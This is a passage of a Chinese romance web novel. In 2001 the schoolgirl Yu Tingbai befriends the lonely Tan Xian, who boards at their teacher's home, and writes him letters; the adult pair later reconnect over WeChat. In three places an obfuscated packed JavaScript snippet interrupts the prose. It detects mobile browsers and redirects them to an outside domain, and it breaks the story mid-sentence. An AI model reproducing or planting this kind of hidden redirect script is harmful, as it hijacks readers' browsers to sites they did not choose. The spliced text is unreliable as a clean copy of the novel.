谈显:“……” 虞汀白如痴如醉地望着他:“你好漂亮,我可以叫你公主吗?” “……”谈显有些崩溃。 岑令美和杨艺清寒暄完从外面进来,看到虞汀白坐在谈显旁边,两个小朋友的姿势很奇怪,虞汀白倾身凑近,几乎把谈显逼到了角落,谈显则紧紧地贴墙壁,一张白净小脸憋得发红。 岑令美疑惑:“小鱼,不是让你坐在女同学身边吗。” 虞汀白更疑惑,指着谈显漂亮的小脸蛋问:“他不是女同学吗?” 噗嗤——周围的同学哄笑起来。 “阿显是男的啦!” 虞汀白再看向谈显,谈显满面通红,皮肤白里透粉,更漂亮了。 …… 虽然谈显是男孩,座位也被岑老师分开,但在虞汀白看来,谈显长得白白净净,说话也温温柔柔,和外面那些男生不一样,很需要她的保护咧。 所以她总是往谈显身边贴,好吃的分给谈显,小手工也要送给谈显。 于是谈显每天都能变着花样地从自己的抽屉里淘到新东西:隔壁邻居院子里的柿子、乱七八糟的捕梦网、按一下会跳起来的青蛙折纸…… 谈显很无语,找虞汀白说过一次别再送他东西,虞汀白一边应着知道了,一边疑惑地问谈显,你的手为什么总是白的? 谈显被问得一头雾水,就听虞汀白摊着两只手说,她最近最大的苦恼,就是不知道为什么每天早上出门前她的手心都是白的,到了晚上就变成黑的了。 说这话时,虞汀白刚和小伙伴们玩完立定跳远,她为了不被后面的男同学碰到,半个身子都趴到地上去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793092|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谈显看着她灰扑扑的手心,无奈地带她到楼上的卫生间洗手。 谈显和这里的同学不一样,他们都是走读学习,每天晚上都会由父母接走,只有他是常年寄住在岑老师家里,所以岑老师家里有他自己专用的洗手液。 谈显把虞汀白带到楼上,给她用他的洗手液,虞汀白洗完手一闻掌心清甜的香气,是和谈显一模一样的味道! 隔日,谈显还是在抽屉里摸到了新东西:是学校后山树上的葫芦。 那天虞汀白没来岑老师家晚自习,据说她爬树时候摔下来,一屁股坐在了仙人掌上。 谈显:“……” 他好像完全无法理解虞汀白这种笨蛋平时在想什么。 大概请假了一个多星期,虞汀白才重新回来上晚自习。 她放学来到岑老师家,刚坐下就从抽屉里摸出了一个奇怪的东西。 那是一个风铃,风铃的主体是一个光着脑袋的白色布娃娃,布娃娃的下摆坠着铃铛,轻轻摇晃,会发出清脆的响声。 “这是什么?”旁边的同学问。 “好像是一休哥。”虞汀白觉得这个布娃娃丑丑的,随意地扔进了抽屉最里面。 很久以后,虞汀白才在一部日本动画片里知道那个布娃娃不是一休哥,而是晴天娃娃,寓意着消灾祈福。 今天轮到谈显做值日,他直到大家都吃完了晚饭才回到岑老师家,一进门就看见虞汀白在手舞足蹈地跟周宁儿解释她这几天去哪了。 她正在绘声绘色地说自己其实是一个机器人,是怪博士叔叔制造出来专门对付坏蛋的,前两天她和博士叔叔出去打绿色外星人了。 谈显放下书包,准备去厨房吃饭,心里忍不住想,这是最近电视台在放的动画片《怪博士和机器娃娃》的故事,这个笨蛋以为大家都没看过这部动画片吗? 果然,等谈显吃完饭回来,虞汀白的谎话已经被周宁儿拆穿:“你骗人,你明明是爬树摘葫芦被警察叔叔抓走了,我妈妈都告诉我了!” 谈显:“……” 警察叔叔才不管这种事,这也是个笨蛋。 虞汀白面红耳赤地狡辩:“我没骗人!” 她不愿承认自己爬树摘葫芦摔了个大大的屁股墩,红着脖子和人吵了半天,最后她生气地说:“周宁儿,我再也不理你了!” 她气呼呼地抓起桌上的作业本和铅笔盒,抱着书包挤出来,坐到了谈显旁边的空位上。 虞汀白的头发不高兴地翘着,她埋头用力写字,一副谁也不想理的模样。 谈显翻着课本等了一会儿,见她没有打扰自己的意思,难得地在认真写作业,便也开始低头做作业。 这样写了没多会儿,旁边传来咔哒咔哒的声音,谈显瞧过去,见虞汀白一直在摆弄她的那个铅笔盒。铅笔盒是崭新的,上面有美少女战士的图案。 注意到谈显瞧过来,等待了许久的虞汀白迫不及待地凑过去跟他说悄悄话:“这是我妈妈刚给我买的铅笔盒哦。” 虞汀白人如其名,有一颗金鱼的脑子,什么不高兴的事情都能在七秒后忘记。 她炫耀地给他看她的伸缩铅笔盒,合起来看是一层,打开后是双层,旁边还有两个削笔孔。 “我可以分你一个削笔孔。”虞汀白觉得自己很善良。 谈显问:“你妈妈为什么给你买新铅笔盒?” 因为妈妈每天给她的屁股换药的时候,她都吵吵闹闹喊着痛,很不乖,所以为了哄她就给她买了最近很流行的双层伸缩铅笔盒。 但虞汀白不想说实话。 她神情萎顿下去,眼神不安地躲闪着:“因为……因为……” “因为你打败了绿色外星人?”谈显认真地问,声音澄透好听。 虞汀白的眼睛叮地亮起来:“嗯!” 谈显:“你受伤了吗?” 虞汀白摇了几下头,忽而又改为点头。 她很想被谈显安慰,于是问:“我伤得很重,你要看看我的伤口吗?” “哪里受伤了?”谈显第一次对这个人有了一丝可以称之为担忧的情绪,他很别扭地问。 虞汀白委屈地指了指自己的屁股:“这里。” “……”谈显的脸刷地一下红起来,他慌张地转过头,“我不看。” 虞汀白刚准备撒出去的娇顿时无处释放,只好默默收起来。 见谈显又要写作业不理自己,她也不烦他,安静地拣起谈显笔盒里已经变粗的铅笔,帮他削笔。 阿显相信她出去打外星人,她当然也要说到做到,把自己的削笔孔分他用! 10. 10 10 那时候,一二年级的课业量不多,一般从七点半开始,就会陆续有家长来接人。 这天外面下起了雨,家长们来得比平时迟一些,到八点半的时候岑家还剩着几个小孩。 岑令美让谈显带他们去楼上客厅看电视,虞汀白也在其中。 虞汀白已经和喊完“我再也不理你”的周宁儿和好,二人共同对抗男生,把持着遥控器看《美少女战士》。 几个小人挤挤挨挨、吵吵闹闹地坐在长沙发上,谈显给他们拿了夏威夷果和花生吃,然后搬一把小椅子坐在沙发旁边,一边看顾他们,一边看课外书,一不小心入了迷,等他回过神的时候,发现周宁儿拿着一个奖杯哐哐砸夏威夷果,奖杯上写着“薛致远”的名字。 薛致远是岑令美的独生子,在省城上中学,几乎不回来,但岑令美还是会把他的屋子打扫得干干净净。 谈显一直明白,岑老师对自己再好,自己终究是外人,所以他恪守做客人的本分,不该说话的时候不说,不属于他的地方不进,住在岑老师家的这两年,他一次也没有进过薛致远的房间。 不知道周宁儿是什么时候溜进的薛致远房间,谈显心下不安,担心岑令美责怪他没有看顾好小孩,更害怕岑令美嫌弃他不懂事,觉得他是个麻烦,让他离开。 所以几乎是一刹那的反应,谈显一把将奖杯抢了回来:“你别乱动别人的东西!” 周宁儿被谈显的反应吓了一跳,哇地哭了出来。 虞汀白本来在专心看动画片,听到动静跑过来,一边哄周宁儿一边问谈显发生了什么。 谈显没顾上理会她,转身跑进薛致远的房间,将奖杯放了回去。他不想被岑老师发现他没有完成她交代给他的事。 快速放好奖杯,关上了薛致远房间的门,谈显的一颗心才放回肚子里。 他回到客厅,周宁儿还在哇哇大哭。 虞汀白被周宁儿哭得手足无措,见谈显回来,小短腿慌乱地哒哒跑到谈显面前:“你刚才是不是欺负宁宁了呀,你应该跟她说声对不起。” 谈显冷静下来,也觉得自己刚才反应太过。他走回周宁儿面前,刚想说什么,岑令美听到哭声赶了上来,和她一起上来的还有来接周宁儿的母亲。 “怎么回事?”岑老师问。 周宁儿一下子扑进周妈妈的怀里。 谈显看着埋在妈妈怀里的周宁儿,对她的歉意一下子消散得无影无踪。 谈显一直觉得自己不是一个好人,他装在一个温顺的、善良的、懂事的好孩子外壳里,这样他才不会被人讨厌、才有可能回家,不会像一个皮球一样被人踢来踢去。 可这世上的大部分人,她们天生拥有无私的、不需要算计的父母的爱。 “谈显,谁欺负宁儿了,你来说说?”岑老师习惯性地向谈显、她最信任的好孩子询问情况。 谈显沉默了几秒,垂下眼眸,藏住自己眸中的恶意:“是我的错。” 他看上去很愧疚自责:“我刚才看书太专注,没有发现她进了致远哥哥的房间,拿走了致远哥哥的奖杯,一时着急凶了她。” 谈显走到周宁儿面前:“对不起。” 周宁儿把脑袋埋在妈妈的怀里,不愿意理谈显。 “没事没事,”周妈妈替女儿回应,“是宁儿的错,她不该乱动别人的东西。” “嗨,小远的房门开着,她进去也正常,”岑令美跟着打圆场,“这点事儿啊,没什么的。宁宁别往心里去,谈显,你也别太在意,下次对妹妹温柔点儿。” 谈显一副很自责的模样,乖巧地点了点头。 楼下又来了两个家长,岑令美一边喊上那两个孩子,一边和周妈妈哄着周宁儿下楼,二楼很快安静下来。 只剩下谈显和虞汀白。 谈显已经习惯目送所有小朋友被他们的父母开开心心地接走,屋里只剩下他一个人的场景。 他估摸着虞汀白的父母很快就到,今天忽然有些不想又做那个最后被落下的人,于是上楼回了自己的房间。那是一间储藏室改造出来的房间,岑令美特地打扫出来给他用的。 刚回到房间,就发现身后有一个小白团子哼哧哼哧地跟着爬了上来。 谈显问:“你怎么上来了?” “我陪着你呀。”好朋友黏在一起是多正常的事呀,虞汀白回答得理所应当。 虞汀白被窗外的大雨吸引,跑到窗边往外瞧,“外面雨好大。” 谈显走过来把窗户关上,以防雨水把她打湿。 “你听。”虞汀白把耳朵贴在窗户上,像在玩什么有趣游戏似的眼睛亮晶晶地望着谈显。 “听什么?”谈显也学着她,把耳朵贴在了窗户上。 风在外面啸叫着,雨水哐哐砸在玻璃上,路边的招牌剧烈地摇晃,绿树被吹得东倒西歪,脆弱的塑料棚顶被强风掀飞。 路上有淋着雨开电动车赶回家的夫妻,打着伞快速从街边踩水跑过的母女,躲在桥洞下瑟瑟发抖的野狗……风雨挟着寒意无孔不入。 而这间小小的屋子,安静,温暖,亮着黄色的灯光,还有一个人陪伴着他。 谈显望着虞汀白稚嫩的小脸,她贴着窗玻璃仰头望着自己,脸颊边有细微的绒毛,微微翘起的嘴角像永远带着善意。 谈显心里奇异地涌流出一股暖暖的幸福和满足。 他再次意识到自己有多恶劣,外面愈是狂风骤雨,他愈是感到安逸幸福——好像只有这样强烈的对比,才能令他感觉到自己的处境是“好”的;只有他人的狼狈和不幸,才能让他觉得他是幸福的。 “虞汀白,”谈显轻声问,“你想把雨声录下来吗?” 虞汀白一脸疑惑,不懂谈显在说什么。 谈显从抽屉里翻出一个作业本大小的方形机器。 “这是什么?”虞汀白像第一次看见月野兔变身时一样新奇。 谈显说:“这是复读机。” 这个复读机是他在北京上幼儿园时,父亲谈维中配合学校的英语教学课给他买的。但宁屿的小学不把英语当成主课,他回宁屿以后就用不到复读机了。 谈显告诉虞汀白这个机器可以把雨声录进去。 虞汀白:“我的声音也能录进去吗?” “可以,”谈显说,“你不要说话。” 虞汀白连忙捂住嘴,用这个动作保证自己绝对不会出声。 谈显将一卷空白磁带放进复读机里,走到窗边按下按钮,磁带吱呀地转了起来。 他在窗边站了许久,站得手都酸了,估摸着时间差不多了,他按下停止键,再按播放,确定自己把雨声录了下来。 谈显高兴地回头想与虞汀白分享,却发现虞汀白已经躺在他的床边睡了过去,她的手从嘴上滑落,垂落在脸颊边。 现在是九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793093|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点半,大概已超过虞汀白平时的入睡时间。 谈显拉了把椅子坐在床边,一边守着熟睡的虞汀白一边听自己录下来的雨声。 雨声的后半段,忽然响起一阵细细的鼾声。 谈显不自觉地弯起了嘴角。 …… 一直到晚上十点,被雨耽误了工作的杨艺清才赶到岑令美家接人。 虞汀白已经睡熟,怎么叫也叫不醒。 杨艺清无奈,一边不好意思地向岑令美表示感谢,一边把小不点抱了起来。 望着被杨艺清小心抱在臂弯里的虞汀白,谈显心里那股奇异的幸福和满足消失了。 他忽然觉得,她和他也不是一个世界的人。 * 宁屿的雨季提前到来,一连几日都是阴雨连绵,杨艺清也连续几日迟到。 每天晚上八点多,虞汀白就在岑老师的安排下,和几个小朋友一起跟着谈显到楼上客厅边看电视边等家长。 有了先前的教训,谈显不再分神做别的事,而是专心地看顾着他们。 周宁儿等几个小女生和男生抢遥控器,嚷嚷着要看《情深深雨濛濛》。 虞汀白不知道这是什么电视剧,只知道这剧很火,班上的所有女同学都在看,于是也声援着要看《情深深雨濛濛》。 片头曲出来,女主角与男主角在大雨中热烈地拥吻,虞汀白直接看傻了眼。 虽然看不懂,但是莫名觉得很害羞,她转过去,红着脸问旁边的谈显:“他们在干什么呀?” 谈显是在场表现得最为淡定的人。 他在小朋友们的惊呼和害羞中强装镇定,面无表情地盯着屏幕。 听到虞汀白的问题,谈显面不改色地说:“他们在吵架。” 原来吵架也可以这样用嘴的。 虞汀白感觉自己又学到了新知识。 她还想跟谈显说说话,可是谈显已经别过脸,不再理她。 虞汀白有些失落,这几天谈显对她好冷漠。 她分他大大卷口香糖,他说他不吃;她帮他削好铅笔,他也不用;她跟他分享她新买的电子宠物机,他把她的宠物养死了……总之,他好像一点也不想理她。 虞汀白苦恼地把这件事告诉周宁儿,周宁儿疑惑:“你为什么想和他做朋友?” “他长得好看,”虞汀白说,“他比香妃还漂亮!” 周宁儿:“我不喜欢香妃,我喜欢晴儿。” 虞汀白据理力争:“可是香妃又白又香,她还是公主,她还能吸引蝴蝶!” “香妃和小燕子不是一伙儿的,她和蒙丹跑了,”周宁儿喊道,“谈显不是宁屿人,他以后也会跑的,他和你不是一伙的!” “我们为什么不是一伙儿的!”虞汀白急了。 “他是年级第一,你数学才考七十分!他是好学生,你天天被老师批评!” “可是我妈妈说我很乐观,每次考差了都不难过,”虞汀白急得舌头打结,“我、我也不差的!你们根本不懂我!” 当天晚上虞汀白做了一个可怕的梦,她梦见自己变成了一只小金鱼,辛辛苦苦地在鱼缸里种出一颗大白兔奶糖,结果大白兔奶糖被人绑上气球,湿淋淋地从鱼缸里飞走了,她怎么追啊追都追不上。 根本来不及思考鱼缸里为什么会种出大白兔奶糖,虞汀白一头冷汗地醒过来,可不能让她的香妃跟蒙丹跑了呀! 11. 11 11 隔日傍晚,谈显放学回到岑家,又从自己的桌洞里摸出了新玩意儿,与之前不同的是,这次收到的竟不是什么奇奇怪怪的物件,而是一信封。 虽然信封花里胡哨,上面歪歪扭扭地写着“收件人谈显先生”,看上去有种认真的滑稽,但对于先前的柿子、青蛙、葫芦来说,不失为一种进步。 “亲爱的谈显同学: 展信佳! 我有一些话想要和您说一说,zui近您很忙,我只好写信给您了! 我们班的第一名叫王雨薇,王雨薇的数学成绩很好,语文成绩也很好,王雨薇平时喜欢七负人,她会把不听她话的人写到黑板上,班老师会批评那些人,宁儿说她是lan用权力仗shi七人,我也觉得王雨薇做得不对。通过王雨薇,我学到了一个道理,一个人优不优秀,不应该只看她的成绩,还应该看她的品德。我妈妈说过,成绩不是heng量一个人的唯一标准。你(涂掉)您觉得呢? 此致 敬礼! 宁屿第三小学 二年级五班 虞汀白 2001年6月12日 ” 这封毫无文采、中文与拼音混合的信令谈显啼笑皆非。 而送信者浑然不觉,她满心期待着谈显的回信,却见他一天、两天、三天……毫无反应,对她的态度也没有好转。 难道他没有收到她的信? 虞汀白再接再厉,这次她努力去掉了拼音,不会写的字都亲自查了字典。 “亲爱的谈显同学: 展信佳! 这是我第二次给您写信! 我上周的数学月考考了八十三分,比上一次进步了五分,语文考了九十九分,我的语文成绩是全班第一名!语文老师、数学老师、体育老师、爸爸、妈妈都夸奖我进步了,他们说我聪明、勇敢、正直、善良、乐于助人……(太多优点说不过来了!),以后一定会越来越优秀。虽然他们一直夸我,但我一点也不会骄傲,老师说过虚心使人进步,骄傲使人落后,我会一直虚心进步的! 此致 敬礼! 宁屿第三小学 二年级五班 虞汀白 2001年6月17日 ” 虞汀白努力地在信里夹带私货夸奖自己,她觉得她写得一点都不刻意,甚至有些担心谈显发现不了她身上有那么多闪光点,于是决定再写一封更全面地夸奖一下自己。 “亲爱的谈显同学: 展信佳! 上一次见你是周五,我们已经整整一个周末没有见面,不知道你是否还记得我?我再跟你介绍一下我自己吧,我是一个天真烂漫的小女孩,我有一双水汪汪的大眼睛,红扑扑的小脸蛋,乌黑的头发,周宁儿说我是我们班的小美女! 我今年上小学二年级,是一个大人了,下星期我就会戴上红领巾。在学校里,我学到了许多知识,也懂得了许多做人的道理,欢迎你来和我一起学习交流。我平时很喜欢读书,《乌龙院》、《蜡笔小新》、《七龙珠》、《三毛流浪记》我都爱看,我看过的书叠起来比我个子还高呢!我还喜欢大海,宁屿的海很美很清澈,每次套着泳圈浮在海面上,我都感觉自己好像躺在云里,你愿意和我一起躺在云里吗? 此致 敬礼! 宁屿第三小学 二年级五班 虞汀白 2001年6月20日 ” …… 在谈显冷落虞汀白的半个多月里,虞汀白陆陆续续给谈显写了十多封信,词句也从一开始的磕磕绊绊、满篇错字到逐渐流畅,甚至开始活用成语,进步飞速。连语文老师都惊奇地夸奖她作文水平提高得快,建议她参加今年的低年级作文比赛。 而谈显依旧没有回信,虞汀白非但没有难过,还渐渐地在独角戏一般的写信中找到了乐趣。 她开始在信中编一些天马行空的小故事。 “亲爱的谈显同学: 展信佳! 今天我想和您分享一个我写的小故事: 小金鱼听听从小生活在一个孤独的小鱼缸里,小鱼缸很小,没游几步就会撞上玻璃。听听每天的生活就是咕噜咕噜地在鱼缸里冒泡,或者在鱼缸里晕头转向地撞来撞去,她想把鱼缸撞倒,然后逃出去!逃到大海里去! 有一天,鱼缸外面出现了一只兔子先生,那是女主人的爱人送给她的。兔子先生有着雪白的毛发,浅色的眼睛,两颗闪亮的大板牙。 “兔子先生,兔子先生,你可以用你的板牙把我的鱼缸敲碎吗?”听听摆着鱼尾巴期待地祈求着兔子先生。 “不可以,如果鱼缸碎了,你会死的。”兔子先生温柔地说。 “可我不怕死呀,我就想出去,我想在大海里游荡!” “可是……你真的会死的,”兔子先生难过地说,“即使会死,你也要离开我,去看外面的大海吗?” “对不起,我也很舍不得你,可是我真的很想见见大海。”听听抱qian地说。 兔子先生沉默地低下头,浅色的眼睛亮晶晶的,那是泪光。 …… 阿显,你猜听听最后离开鱼缸了吗?如果你给我回信,我就告诉你! (PS:写到这里,我的手已经酸了,我要去给妈妈买酱油了,下次再把故事给你讲完!) 此致 敬礼! 宁屿第三小学 二年级五班 虞汀白 2001年7月21日 ” …… 虞汀白上学的那些年,虽然数学成绩越来越差,语文成绩却始终能保持年级前列,而作文更是常拿满分。 多年以后,重新发现这些信后,虞汀白才意识到,原来是每次绞尽脑汁地给谈显写信,促使她养成了观察生活和经常写作的好习惯。 宁屿雨水很多,到了夏天几乎三天一场大雨,两天一场小雨。 虞汀白被落在岑令美家的次数也变多。 这天,几个家长又因为暴雨来迟,孩子们在二楼看电视。 最近《情深深雨濛濛》正播到高潮部分:书桓看到依萍的日记后和依萍闹分手。 几个小女生看得揪心,悄悄地抹眼泪。谈显很是无奈地拿出新的一盒抽纸放到茶几上,再转头去瞧虞汀白,发现这小人根本无心看电视,正撅着屁股趴在茶几上涂涂画画。 谈显又去厨房里拿了几瓶AD钙奶,绕到茶几前发给几个小朋友,到虞汀白面前时,不经意地往她的纸上瞄了一眼。 ……画的是,一只金鱼和一个兔子? 虞汀白头也不抬,用铅笔帽点了点茶几,意思是让他把AD钙奶放旁边。 谈显帮虞汀白拆开吸管,插进钙奶里,把钙奶放在她手边,然后坐回到她身后的小椅子上。 外面传来嘈杂的雨声,电视机里播放着依萍在书桓和如萍的婚礼上祝福他们,旁边是几个小女生的啜泣。 虞汀白专注地埋头画着画,谈显目不转睛地凝望着她的背影。 …… 晚上八点四十,其他孩子早就被接走,又只剩下虞汀白和谈显。 虞汀白已经画完了画,喝完了AD钙奶,缠着谈显东拉西扯地说了一堆胡话,最后说累了,想去他房间里玩。 房间是具有私密属性的地方,谈显没有答应。虞汀白的小身子缠在他身上,求了他好一会儿。 这时,岑令美备完课从楼下上来,虞汀白像遇到了救星似的,跑到岑令美跟前岑老师长岑老师短的撒娇,说客厅里有穿堂风,好冷,她想去阿显屋子里等妈妈。 岑令美估摸着杨艺清一时半会儿到不了,便点头让谈显带虞汀白去他屋里玩。 虞汀白计谋得逞,美滋滋地抓住谈显的手拽着他上了三楼。 “我给你看一个东西,”虞汀白献宝似的从口袋里掏出一张纸,她仔细把纸摊开、抚平,“这是听听,这是白兔先生。” 谈显端详着那副简陋的简笔画。 虞汀白见他反应平淡,有些着急:“你没看过我给你写的《听听和白兔先生》吗?” “看过,”谈显想了想,顺着她的话茬往下问,“你还没写完吧?” “嗯,我还没编好!”见谈显对自己的故事感兴趣,虞汀白又高兴起来,“我要把这副画送给你。” 虞汀白得意地冲谈显挤眉弄眼:“你一定三生有幸吧?” “……”不知道从哪部电视剧学来的成语。 谈显接过那副简陋的儿童简笔画,还没拿稳又被对面的小人抽了回去。 “我要把它挂起来。”虞汀白东张西望地找到书桌边的一块空白墙,跑了过去,“就贴在这里吧,你有胶布吗?” 雪白的墙壁贴上这么一幅画,其实很突兀。 但谈显没有拒绝,他从抽屉里翻出胶布,帮虞汀白撕下四小块递了过去。 虞汀白被抽屉里的一张图纸吸引了目光,把胶布和画都递还给谈显,她抽出那张图纸,看到上面深浅不一地排布着许多色块,每个色块上还有她看不懂的英文字母。 “这是什么?”虞汀白好奇地问。 谈显一边把画贴上,一边看了过来:“那是非洲地图。” “非洲?”虞汀白觉得这个词有些耳熟,但怎么也想不起来意思。 “地球是由七大洲和四大洋构成,我们住在亚洲,这个地图画的是非洲。” 虞汀白听得似懂非懂,突然想起什么:“我知道了,我在《动物世界》里看到过,非洲有好多野生动物。” 谈显把非洲地图夹到课本里。 虞汀白好奇:“非洲有那么多动物,也会有小金鱼和小兔子吗?” 谈显:“应该有吧。” 虞汀白:“那我喜欢非洲!” 谈显:“我讨厌非洲。” 虞汀白立刻改口:“那我也讨厌非洲!” 谈显忍不住笑了一下。 虞汀白的注意力重新回到墙上——她的大作上。 她甩掉鞋,爬到床上,伸直了手努力去够,把画角按了按,压平实。 虞汀白满意道:“以后看到这幅画就要想起我,你不要不开心了哦。” 谈显不解:“我有什么不开心?”他自认把情绪控制得好,没有在其他人面前表露过什么,不知道虞汀白又在胡思乱想些什么。 “因为你总是一个人呀。”一个人肯定会不开心的,她每次午睡过后一个人醒来,都会难过得哇哇大哭,平时杨艺清出门不带上她,她在家待一会儿就会觉得很孤单,必须去找周宁儿才能重新高兴起来。 而且,在岑老师家自习的这段时间,她发现了一件事,谈显总是那个目送所有人离开的人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793094|158214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有一次她被妈妈接走,临下楼前她从楼梯柱子间的缝隙见回头瞧了一眼,看到偌大的客厅空荡荡的,只有电视机里的声音,谈显孤零零地坐在沙发一角,像一个被全世界抛弃了的人。 她见过周宁儿的妈妈、赵浩宇的爸爸、林妍研的爷爷奶奶、熊思城的姥姥……他们每个人都有人接,只有谈显永远孤零零地坐在岑老师家。 他的爸爸妈妈呢? 周宁儿说谈显的爸爸妈妈在北京,赵浩宇说谈显没有爸爸妈妈,他是石头里蹦出来的,熊思城说谈显的爸爸妈妈不要他了。 这么好看的人,他们怎么忍心不要他呢? 反正她不能忍心的。 虞汀白跪在床边,学着她在电视剧里看到的那些男主角哄人的方式,捧起谈显的脸说:“你不要觉得孤单,我会陪着你的。” 谈显的脸热起来,心里涌起一股暖流。 虞汀白深情地说:“以后我就是你的妈妈。” 谈显一愣,暖流瞬间冻住。 “……” “…………” “……………………” 那天之后,谈显每天早上醒来、中午午休、晚上睡觉都能看见那副粗糙的《听听和白兔先生》。 谈显其实不喜欢这个故事,因为虞汀白虽然没有写出后续,但他已经猜到了故事的结局。 而2001年信誓旦旦地说着会一直陪伴他的虞汀白,后来很快就忘记了他。 * “有人比你更可怜。”虞汀白反复地回味着那天晚上谈显的这句话。 他压抑的浓稠的神态在她脑中挥之不去,然而当她想要细究,他却什么也不说。 难道他以前受过情伤? 还是玩过什么爱而不得的游戏? 可这与她有什么关系。 虞汀白抓心挠肺地想,怎么也想不明白,她总觉得她错过了什么重要的细节。 到底是什么,好奇,但问不出口,她和谈显的关系止于那一夜的暧昧,再无进展。 她没有立场追穷不舍。 微信忽然响了一声,丁念还在为宋方晏突然出现在派对上的事道歉,她也不知道其他人会擅自在派对上连线宋方晏,所以没能及时阻止。 AAA美念外贸服饰:你放心吧,我不会让他参加我的婚礼的。 虞汀白不是很在意。 回车:没事,给点精神损失费就好。 AAA美念外贸服饰:给你补偿一个男人吧。 丁念推来一个微信名片。 AAA美念外贸服饰:这是谈花的微信【玫瑰.jpg】 AAA美念外贸服饰:我觉得你很需要【玫瑰.jpg】 回车:? 虞汀白装傻。 回车:你干嘛给我发这个。 AAA美念外贸服饰:我也不知道,可能是手滑吧~ 虞汀白:“……” AAA美念外贸服饰:你放心加吧,我已经跟他说过了。 回车:??你怎么跟他说的? 丁念没有回消息,虞汀白看着那个名片,点了又点,谈显的微信名叫【R.】,头像是一个白色兔子。 怎么卖萌啊。 她点开他的朋友圈,看不到朋友圈,但能看到朋友圈背景图是一个在天台上拍下的落日。 看起来像是他们学校教学楼的天台。 照片的角落有一缕翻飞的黑色长发,隐约还能看见女孩穿着校服的手臂。 这照片有点年份了吧。 这人不会高中就早恋吧? ……嗯……不会是什么心有朱砂痣,所以游戏人间的浪子人设吧…… 要不要加他呢? 为什么不是他主动呀! 可恶……到底加不加…… 虞汀白反复点开验证框,又反复关上。 为什么要她主动……! 她才不要……虞汀白忿忿不平地想着,刚要关上验证界面,一个鲤鱼打挺坐了起来—— 啊啊啊啊啊! 她不小心按下了请求发送键!! ……没事没事,她自欺欺人地想,她没有在好友申请里写任何话,说明她并没有那么迫切地想加他为好友,她还是守住了自尊心的…… 在短暂的纠结,懊恼,高强度的后悔,期待之后,虞汀白的心开始恢复平静。 她在等谈显通过验证。 与此同时,她已经开始思考要不要和谈显进一步发展,细细算起来,谈显还真是什么都很好,完美踩中她的取向。 唯一不足的是,他常居宁屿。 只这一点,就注定他们只能春风一度。 哎,她会不会有点太渣了…… 虞汀白沉浸在自己的幻想中,都快把自己愧疚分手、狠心离开、被谈显痛斥不负责任的场面想好了,谈显的回应终于传了过来。 竟然是—— 拒绝添加好友?! 她不敢置信地盯着这几个字,擦了好几遍屏幕才确定自己没有看错。 与此同时,丁念的回复也姗姗来迟。 AAA美念外贸服饰:我说你对他挺有好感的,我想牵一下红线。 AAA美念外贸服饰:怎么样,感谢我吧?【得意.jpg】 虞汀白:“……” 感谢你个大头鬼! ……所以,他是在拒绝她吗? 12. 12 12 六月正是宁屿的雨季,昨晚后半夜,雨就淅淅沥沥地下了起来。 虞学名放在她阳台上的几盆鸡蛋花和天竺葵在细密的风雨中微微颠颤,被雨水浇打愈发鲜妍晶莹。 虞汀白裹在薄薄的空调被里发呆,听着雨水拍打在窗户、阳台上的脆响,啪嗒啪嗒,终于有了强烈的回到家乡的实感,在宁屿生活的十多年,她已经无比熟悉这雨声,干燥的北京只有沙尘与风暴,不会有南方海岛婉约细腻的雨。 淅沥淅沥,啪嗒啪嗒,交响乐般的雨声中忽然插进了几声弱弱的,叽叽叽叽。 ? 虞汀白以为自己听错了,揉了揉耳朵,叽叽叽叽,叽叽叽叽,声音渐渐清晰起来。她循着声音下床,从沙发角落捞出了前几天和谈显约会时背的那个包。 打开包,一颗黄色的小脑袋探了出来。 竟然是一只鹅黄色的小鸡! 虞汀白反应了一会儿才想起来,这是和谈显约会那天晚上送给她的蛋。 居然能孵出小鸡? 不是都说街边小贩是奸商,卖的都是孵不出鸡的死蛋吗? 虞汀白震惊地、小心翼翼地把刚破壳的小鸡捧出来,小鸡湿哒哒的翅膀毛发上还沾着蛋壳屑,它转着脑袋好奇地打量着这个世界。然后小眼睛就定在了虞汀白的面上,一动不动。 ……难道这说明她和谈显缘分未了? 醒醒,分明是孽缘,虞汀白拍了拍自己的脸,让自己清醒一点。 捏着小鸡的翅膀,与小鸡崽大眼瞪小眼,虞汀白阴森森地想,必须把你送回你亲爸那里。 拿出手机,虞汀白面无表情地再次发送了一个好友申请,申请理由是:把你亲儿子接回去。 应该是儿子吧?小母鸡会更值钱。虞汀白捏着小鸡崽试图寻找它的蛋蛋,未果,实在搞不懂这种卵生类动物的生理构造。 虞汀白打开电脑开始搜索如何判断小鸡的性别,却搜到一条信息:“街上买的小鸡死亡率很高,需要细心养护”。 虞汀白:“……” 看来在谈显把他接走之前,她必须小心伺候他。 